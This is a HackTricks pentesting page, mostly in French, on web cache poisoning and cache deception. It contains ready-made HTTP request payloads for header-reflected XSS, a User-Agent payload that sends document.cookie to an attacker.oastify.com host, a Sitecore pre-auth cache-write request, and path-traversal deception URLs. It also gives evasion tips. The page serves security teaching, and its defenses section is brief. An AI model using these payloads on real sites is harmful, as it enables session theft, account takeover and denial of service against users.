Cache Poisoning and Cache Deception
Tip
Apprenez et pratiquez le hacking AWS :
HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP :HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez le hacking Azure :
HackTricks Training Azure Red Team Expert (AzRTE)
Soutenir HackTricks
- Vérifiez les plans d’abonnement !
- Rejoignez le 💬 groupe Discord ou le groupe telegram ou suivez-nous sur Twitter 🐦 @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PR au HackTricks et HackTricks Cloud dépôts github.
La différence
Quelle est la différence entre web cache poisoning et web cache deception ?
- Dans web cache poisoning, l’attaquant fait en sorte que l’application stocke du contenu malveillant dans le cache, et ce contenu est servi depuis le cache aux autres utilisateurs de l’application.
- Dans web cache deception, l’attaquant fait en sorte que l’application stocke du contenu sensible appartenant à un autre utilisateur dans le cache, puis l’attaquant récupère ce contenu depuis le cache.
Cache Poisoning
Le cache poisoning vise à manipuler le cache côté client pour forcer les clients à charger des ressources inattendues, partielles ou sous le contrôle d’un attaquant. L’ampleur de l’impact dépend de la popularité de la page affectée, puisque la réponse empoisonnée est servie exclusivement aux utilisateurs visitant la page pendant la période de contamination du cache.
L’exécution d’une attaque de cache poisoning implique plusieurs étapes :
- Identification of Unkeyed Inputs : Ce sont des paramètres qui, bien qu’ils ne soient pas requis pour qu’une requête soit mise en cache, peuvent modifier la réponse renvoyée par le serveur. Identifier ces inputs est crucial car ils peuvent être exploités pour manipuler le cache.
- Exploitation of the Unkeyed Inputs : Après avoir identifié les unkeyed inputs, l’étape suivante consiste à comprendre comment détourner ces paramètres pour modifier la réponse du serveur d’une manière avantageuse pour l’attaquant.
- Ensuring the Poisoned Response is Cached : La dernière étape consiste à s’assurer que la réponse manipulée est stockée dans le cache. Ainsi, tout utilisateur accédant à la page affectée pendant que le cache est empoisonné recevra la réponse corrompue.
Découverte : Vérifier les en-têtes HTTP
Généralement, lorsqu’une réponse a été stockée dans le cache, il y aura un en-tête l’indiquant ; vous pouvez vérifier quels en-têtes méritent votre attention dans ce post : HTTP Cache headers.
Découverte : Mise en cache des codes d’erreur
Si vous pensez que la réponse est stockée dans un cache, vous pouvez essayer d’envoyer des requêtes avec un en-tête invalide, qui devrait répondre avec un code de statut 400. Ensuite, essayez d’accéder à la requête normalement et si la réponse est un code 400, vous savez que c’est vulnérable (et vous pourriez même effectuer un DoS).
Vous pouvez trouver plus d’options dans :
Cependant, notez que parfois ces types de codes de statut ne sont pas mis en cache, donc ce test peut ne pas être fiable.
Découverte : Identifier et évaluer les unkeyed inputs
Vous pouvez utiliser Param Miner pour brute-forcer les paramètres et en-têtes qui peuvent modifier la réponse de la page. Par exemple, une page peut utiliser l’en-tête X-Forwarded-For pour indiquer au client de charger le script depuis là :
<script type="text/javascript" src="//<X-Forwarded-For_value>/resources/js/tracking.js"></script>
Provoquer une réponse malveillante du serveur back-end
Une fois le paramètre/header identifié, vérifiez comment il est assaini et où il est reflété ou comment il affecte la réponse. Pouvez-vous l’exploiter malgré tout (réaliser un XSS ou charger du code JS que vous contrôlez ? effectuer un DoS ?…)
Mettre la réponse en cache
Une fois que vous avez identifié la page qui peut être exploitée, quel paramètre/header utiliser et comment l’abuser, vous devez faire en sorte que la page soit mise en cache. Selon la ressource que vous essayez de mettre en cache, cela peut prendre un certain temps ; vous devrez peut‑être réessayer pendant plusieurs secondes.
L’en-tête X-Cache dans la réponse peut être très utile car il peut prendre la valeur miss lorsque la requête n’a pas été mise en cache et la valeur hit lorsqu’elle l’est.
L’en-tête Cache-Control est également intéressant pour savoir si une ressource est mise en cache et quand elle sera mise en cache à nouveau : Cache-Control: public, max-age=1800
Un autre en-tête intéressant est Vary. Cet en-tête est souvent utilisé pour indiquer des en-têtes supplémentaires qui sont traités comme faisant partie de la clé de cache même s’ils ne sont normalement pas pris en compte. Par conséquent, si l’attaquant connaît le User-Agent de la victime qu’il cible, il peut empoisonner le cache pour les utilisateurs utilisant ce User-Agent spécifique.
Un autre en-tête lié au cache est Age. Il définit le temps en secondes pendant lequel l’objet est resté dans le cache du proxy.
Lors de la mise en cache d’une requête, faites attention aux en-têtes que vous utilisez car certains d’entre eux pourraient être utilisés de manière inattendue comme clés, et la victime devra utiliser ce même en-tête. Testez toujours un Cache Poisoning avec différents navigateurs pour vérifier que cela fonctionne.
Exploiting Examples
Easiest example
Un en-tête comme X-Forwarded-For est reflété dans la réponse sans être assaini.
Vous pouvez envoyer un payload XSS basique et empoisonner le cache de sorte que toute personne accédant à la page soit victime d’un XSS :
GET /en?region=uk HTTP/1.1
Host: innocent-website.com
X-Forwarded-Host: a."><script>alert(1)</script>"
Notez que cela empoisonnera une requête vers /en?region=uk et non vers /en
Cache poisoning to DoS
Cache poisoning through CDNs
In this writeup il est expliqué le scénario simple suivant :
- Le CDN mettra en cache tout sous
/share/ - Le CDN NE décodera PAS ni ne normalisera
%2F..%2F, par conséquent, il peut être utilisé comme path traversal pour accéder à d’autres emplacements sensibles qui seront mis en cache commehttps://chat.openai.com/share/%2F..%2Fapi/auth/session?cachebuster=123 - Le serveur web DÉCODERA et normalisera
%2F..%2F, et répondra avec/api/auth/session, qui contains the auth token.
Using web cache poisoning to exploit cookie-handling vulnerabilities
Cookies peuvent également être reflétés dans la réponse d’une page. Si vous pouvez en abuser pour provoquer un XSS par exemple, vous pourriez être capable d’exploiter XSS sur plusieurs clients qui chargent la réponse de cache malveillante.
GET / HTTP/1.1
Host: vulnerable.com
Cookie: session=VftzO7ZtiBj5zNLRAuFpXpSQLjS4lBmU; fehost=asd"%2balert(1)%2b"
Notez que si le cookie vulnérable est très utilisé par les utilisateurs, des requêtes régulières videront le cache.
Générer des divergences avec des délimiteurs, la normalisation et les points
Consultez :
Cache Poisoning via URL discrepancies
Cache poisoning with path traversal to steal API key
This writeup explains comment il a été possible de voler une OpenAI API key avec une URL comme https://chat.openai.com/share/%2F..%2Fapi/auth/session?cachebuster=123 parce que tout ce qui correspond à /share/* sera mis en cache sans que Cloudflare normalise l’URL, ce qui était fait lorsque la requête atteignait le serveur web.
Ceci est aussi mieux expliqué dans :
Cache Poisoning via URL discrepancies
Utiliser plusieurs headers pour exploiter web cache poisoning vulnerabilities
Parfois, vous devrez exploiter plusieurs entrées non utilisées comme clé pour pouvoir abuser d’un cache. Par exemple, vous pouvez trouver un Open redirect si vous définissez X-Forwarded-Host sur un domaine contrôlé par vous et X-Forwarded-Scheme sur http. Si le serveur redirige toutes les requêtes HTTP vers HTTPS et utilise l’en-tête X-Forwarded-Scheme comme nom de domaine pour la redirection, vous pouvez contrôler la destination de la redirection.
GET /resources/js/tracking.js HTTP/1.1
Host: acc11fe01f16f89c80556c2b0056002e.web-security-academy.net
X-Forwarded-Host: ac8e1f8f1fb1f8cb80586c1d01d500d3.web-security-academy.net/
X-Forwarded-Scheme: http
Exploiter avec un Vary header limité
Si vous constatez que l’en-tête X-Host est utilisé comme nom de domaine pour charger une ressource JS mais que l’en-tête Vary dans la réponse indique User-Agent, vous devez trouver un moyen d’exfiltrate le User-Agent de la victime et de poison the cache en utilisant ce User-Agent :
GET / HTTP/1.1
Host: vulnerbale.net
User-Agent: THE SPECIAL USER-AGENT OF THE VICTIM
X-Host: attacker.com
Fat Get
Envoyez une requête GET avec la requête dans l’URL et dans le body. Si le web server utilise celle du body mais que le cache server met en cache celle de l’URL, toute personne accédant à cette URL utilisera en fait le parameter du body. Comme la vuln que James Kettle a trouvée sur le site Github :
GET /contact/report-abuse?report=albinowax HTTP/1.1
Host: github.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 22
report=innocent-victim
Il existe un lab PortSwigger à ce sujet : https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-fat-get
Parameter Cloacking
Par exemple, il est possible de séparer les parameters sur des serveurs ruby en utilisant le caractère ; au lieu de &. Cela peut permettre de placer des valeurs de parameters sans clé à l’intérieur de parameters avec clé et de les exploiter.
Portswigger lab: https://portswigger.net/web-security/web-cache-poisoning/exploiting-implementation-flaws/lab-web-cache-poisoning-param-cloaking
Exploiting HTTP Cache Poisoning by abusing HTTP Request Smuggling
Apprenez ici comment effectuer Cache Poisoning attacks by abusing HTTP Request Smuggling.
Tests automatisés pour Web Cache Poisoning
Le Web Cache Vulnerability Scanner peut être utilisé pour tester automatiquement le web cache poisoning. Il prend en charge de nombreuses techniques différentes et est hautement personnalisable.
Exemple d’utilisation : wcvs -u example.com
Header-reflection XSS + CDN/WAF-assisted cache seeding (User-Agent, auto-cached .js)
Ce pattern observé en conditions réelles enchaîne une primitive de reflection basée sur les headers avec le comportement du CDN/WAF pour empoisonner de manière fiable le HTML mis en cache et servi à d’autres utilisateurs :
- Le HTML principal reflétait un header de requête non fiable (p.ex.,
User-Agent) dans un contexte exécutable. - Le CDN supprimait les headers de cache mais il existait un cache interne/origin. Le CDN mettait aussi automatiquement en cache les requêtes se terminant par des extensions statiques (p.ex.,
.js), tandis que le WAF appliquait une inspection de contenu moins stricte aux GETs pour les assets statiques. - Des particularités du flux de requêtes permettaient à une requête vers un chemin
.jsd’influencer la clé/variante de cache utilisée pour le HTML principal suivant, permettant un XSS cross-user via la reflection de header.
Recette pratique (observée sur un CDN/WAF populaire) :
- Depuis une IP propre (éviter les dégradations basées sur la réputation antérieure), définissez un malicious
User-Agentvia le navigateur ou Burp Proxy Match & Replace. - Dans Burp Repeater, préparez un groupe de deux requêtes et utilisez “Send group in parallel” (le mode single-packet fonctionne le mieux) :
- Première requête : GET d’une ressource
.jssur le même origin en envoyant votre maliciousUser-Agent. - Immédiatement après : GET de la page principale (
/).
- La course de routage CDN/WAF plus le
.jsauto-caché amorcent souvent une variante de HTML mise en cache empoisonnée qui est ensuite servie à d’autres visiteurs partageant les mêmes conditions de clé de cache (p.ex., mêmes dimensionsVarycommeUser-Agent).
Exemple de payload d’en-tête (pour exfiltrer des cookies non-HttpOnly) :
User-Agent: Mo00ozilla/5.0</script><script>new Image().src='https://attacker.oastify.com?a='+document.cookie</script>"
Operational tips:
- Beaucoup de CDNs masquent les en-têtes de cache ; le poisoning peut n’apparaître que sur des cycles de rafraîchissement de plusieurs heures. Utilisez plusieurs adresses IP depuis des points d’observation et limitez le débit pour éviter les déclencheurs de limitation de débit ou de réputation.
- Utiliser une IP issue du cloud du CDN améliore parfois la cohérence du routage.
- Si une CSP stricte est présente, cela fonctionne toujours si la réflexion s’exécute dans le contexte HTML principal et que la CSP autorise l’exécution inline ou est contournée par le contexte.
Impact:
- Si les cookies de session ne sont pas
HttpOnly, un ATO zero-click est possible en mass-exfiltratingdocument.cookiedepuis tous les utilisateurs servis par le poisoned HTML.
Defenses:
- Cessez de refléter les en-têtes de requête dans le HTML ; encodez strictement selon le contexte si inévitable. Alignez les politiques de cache du CDN et de l’origin et évitez de varier selon des en-têtes non fiables.
- Assurez-vous que le WAF applique l’inspection de contenu de manière cohérente aux requêtes
.jset aux chemins statiques. - Définissez
HttpOnly(etSecure,SameSite) sur les cookies de session.
Sitecore pre‑auth HTML cache poisoning (unsafe XAML Ajax reflection)
A Sitecore‑specific pattern enables unauthenticated writes to the HtmlCache by abusing pre‑auth XAML handlers and AjaxScriptManager reflection. When the Sitecore.Shell.Xaml.WebControl handler is reached, an xmlcontrol:GlobalHeader (derived from Sitecore.Web.UI.WebControl) is available and the following reflective call is allowed:
POST /-/xaml/Sitecore.Shell.Xaml.WebControl
Content-Type: application/x-www-form-urlencoded
__PARAMETERS=AddToCache("key","<html>…payload…</html>")&__SOURCE=ctl00_ctl00_ctl05_ctl03&__ISEVENT=1
Ceci écrit du HTML arbitraire sous une clé de cache choisie par l’attaquant, permettant un poisoning précis une fois les clés de cache connues.
For full details (cache key construction, ItemService enumeration and a chained post‑auth deserialization RCE):
Exemples vulnérables
Apache Traffic Server (CVE-2021-27577)
ATS a transmis le fragment présent dans l’URL sans le supprimer et a généré la clé de cache en utilisant uniquement l’hôte, le path et la query (ignorant le fragment). Ainsi, la requête /#/../?r=javascript:alert(1) a été envoyée au backend comme /#/../?r=javascript:alert(1) et la clé de cache ne contenait pas la payload, seulement l’hôte, le path et la query.
GitHub CP-DoS
Envoyer une mauvaise valeur dans l’en-tête content-type a déclenché une réponse 405 mise en cache. La clé de cache contenait le cookie, donc il était possible d’attaquer uniquement des utilisateurs non authentifiés.
GitLab + GCP CP-DoS
GitLab utilise des buckets GCP pour stocker du contenu statique. GCP Buckets supportent l’en-tête x-http-method-override. Il était donc possible d’envoyer l’en-tête x-http-method-override: HEAD et de poison the cache afin de renvoyer un corps de réponse vide. Il pouvait aussi supporter la méthode PURGE.
Rack Middleware (Ruby on Rails)
Dans les applications Ruby on Rails, le middleware Rack est souvent utilisé. Le rôle du code Rack est de prendre la valeur de l’en-tête x-forwarded-scheme et de la définir comme scheme de la requête. Lorsque l’en-tête x-forwarded-scheme: http est envoyé, une redirection 301 vers la même location se produit, pouvant provoquer un Denial of Service (DoS) sur cette ressource. De plus, l’application peut prendre en compte l’en-tête X-forwarded-host et rediriger les utilisateurs vers l’hôte spécifié. Ce comportement peut conduire au chargement de fichiers JavaScript depuis le serveur d’un attaquant, créant un risque de sécurité.
403 and Storage Buckets
Cloudflare mettait auparavant en cache les réponses 403. Tenter d’accéder à S3 ou Azure Storage Blobs avec des en-têtes Authorization incorrects renvoyait une réponse 403 qui était mise en cache. Bien que Cloudflare ait cessé de mettre en cache les réponses 403, ce comportement peut encore être présent dans d’autres services de proxy.
Injecting Keyed Parameters
Les caches incluent souvent des paramètres GET spécifiques dans la clé de cache. Par exemple, le Varnish de Fastly mettait en cache le paramètre size dans les requêtes. Toutefois, si une version encodée en URL du paramètre (par ex. siz%65) était aussi envoyée avec une valeur erronée, la clé de cache serait construite en utilisant le paramètre size correct. Pourtant, le backend traiterait la valeur dans le paramètre encodé. L’encodage URL du second paramètre size conduisait à son omission par le cache mais à son utilisation par le backend. Attribuer la valeur 0 à ce paramètre résultait en une erreur 400 Bad Request susceptible d’être mise en cache.
User Agent Rules
Certains développeurs bloquent les requêtes dont les user-agents correspondent à ceux d’outils à fort trafic comme FFUF ou Nuclei pour gérer la charge serveur. Ironiquement, cette approche peut introduire des vulnérabilités telles que cache poisoning et DoS.
Illegal Header Fields
Le RFC7230 spécifie les caractères acceptables dans les noms d’en-têtes. Les en-têtes contenant des caractères en dehors de la plage tchar devraient idéalement déclencher une réponse 400 Bad Request. En pratique, les serveurs n’adhèrent pas toujours à cette norme. Un exemple notable est Akamai, qui transfère des en-têtes avec des caractères invalides et met en cache toute erreur 400, tant que l’en-tête cache-control n’est pas présent. Un schéma exploitable a été identifié où l’envoi d’un en-tête contenant un caractère illégal, comme \, entraînait une erreur 400 Bad Request mise en cache.
Finding new headers
https://gist.github.com/iustin24/92a5ba76ee436c85716f003dda8eecc6
Cache Deception
L’objectif de Cache Deception est de faire en sorte que les clients chargent des ressources qui vont être enregistrées par le cache avec leurs informations sensibles.
Tout d’abord, notez que les extensions telles que .css, .js, .png etc. sont généralement configurées pour être enregistrées dans le cache. Par conséquent, si vous accédez à www.example.com/profile.php/nonexistent.js le cache stockera probablement la réponse car il voit l’extension .js. Mais, si l’application renvoie le contenu utilisateur sensible stocké dans www.example.com/profile.php, vous pouvez voler ces contenus d’autres utilisateurs.
Other things to test:
- www.example.com/profile.php/.js
- www.example.com/profile.php/.css
- www.example.com/profile.php/test.js
- www.example.com/profile.php/../test.js
- www.example.com/profile.php/%2e%2e/test.js
- Use lesser known extensions such as
.avif
Another very clear example can be found in this write-up: https://hackerone.com/reports/593712.
In the example, it is explained that if you load a non-existent page like http://www.example.com/home.php/non-existent.css the content of http://www.example.com/home.php (with the user’s sensitive information) is going to be returned and the cache server is going to save the result.
Then, the attacker can access http://www.example.com/home.php/non-existent.css in their own browser and observe the confidential information of the users that accessed before.
Note that the cache proxy should be configured to cache files based on the extension of the file (.css) and not base on the content-type. In the example http://www.example.com/home.php/non-existent.css will have a text/html content-type instead of a text/css mime type.
Apprenez ici comment effectuer Cache Deceptions attacks abusing HTTP Request Smuggling.
Outils automatiques
- toxicache: Golang scanner pour trouver des vulnérabilités de web cache poisoning dans une liste d’URLs et tester plusieurs techniques d’injection.
Références
- https://portswigger.net/web-security/web-cache-poisoning
- https://portswigger.net/web-security/web-cache-poisoning/exploiting#using-web-cache-poisoning-to-exploit-cookie-handling-vulnerabilities
- https://hackerone.com/reports/593712
- https://youst.in/posts/cache-poisoning-at-scale/
- https://bxmbn.medium.com/how-i-test-for-web-cache-vulnerabilities-tips-and-tricks-9b138da08ff9
- https://www.linkedin.com/pulse/how-i-hacked-all-zendesk-sites-265000-site-one-line-abdalhfaz/
- How I found a 0-Click Account takeover in a public BBP and leveraged it to access Admin-Level functionalities
- Burp Proxy Match & Replace
- watchTowr Labs – Sitecore XP cache poisoning → RCE
Tip
Apprenez et pratiquez le hacking AWS :
HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP :HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez le hacking Azure :
HackTricks Training Azure Red Team Expert (AzRTE)
Soutenir HackTricks
- Vérifiez les plans d’abonnement !
- Rejoignez le 💬 groupe Discord ou le groupe telegram ou suivez-nous sur Twitter 🐦 @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PR au HackTricks et HackTricks Cloud dépôts github.
HackTricks

